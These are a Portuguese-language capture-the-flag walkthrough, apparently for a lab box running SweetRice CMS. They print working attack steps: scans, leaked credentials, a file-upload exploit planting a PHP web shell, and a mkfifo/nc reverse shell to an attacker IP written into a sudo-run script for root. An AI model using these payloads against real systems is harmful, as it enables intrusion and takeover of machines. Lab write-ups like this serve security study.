Comecei com nmap

 nmap -sSV -p- -T5 -Pn 10.10.31.233

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Depois fiz o feroxbuster, ele retornava muita pagina em branco, então fiz um filtro

feroxbuster -u http://10.10.31.233/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js -S 0

#Ele achou um cara: mysql_bakup_20191129023059-1.5.1.sql
#Outra coisa que ele achou: http://10.10.230.131/content/as/

Com o arquivo .sql, tinha um usuario e uma hash!

manager:Password123

#Tentei entrar na url que tinha achado e foi!

Agora que eu entrei pesquisei por SweetRice 1.5.1 exploit

SweetRice 1.5.1 - Arbitrary File Upload

echo '<?php system($_GET["cmd"]); ?>' > shell.php5

python3 exploit.py

Enter The Target URL(Example : localhost.com) : 10.10.230.131/content                       
Enter Username : manager
Enter Password : Password123
Enter FileName (Example:.htaccess,shell.php5,index.html) : shell.php5

Agora acessei a url

[http://10.10.230.131/content/attachment/shell.php5?cmd=ls](http://10.10.230.131/content/attachment/shell.php5?cmd=ls)

#Procurei por python e encontrei! "cmd=find / -name python"

ls -l /usr/bin/python

#Fiz a conexão com o rvshell, utilizei o python2

Agora vamos escalar o priv

sudo -l #Pode ver que tem alguns que posso rodar como root

cd /home/itguy

cat backup.pl

#!/usr/bin/perl

system("sh", "/etc/copy.sh");
---------------------------------------------------------------------

cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <PORTA> /tmp/f

---------------------------------------------------------------------

#Agora vou fazer o seguinte
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.23.110.74 8181 > /tmp/f" > /etc/copy.sh

---------------------------------------------------------------------

sudo /usr/bin/perl /home/itguy/backup.pl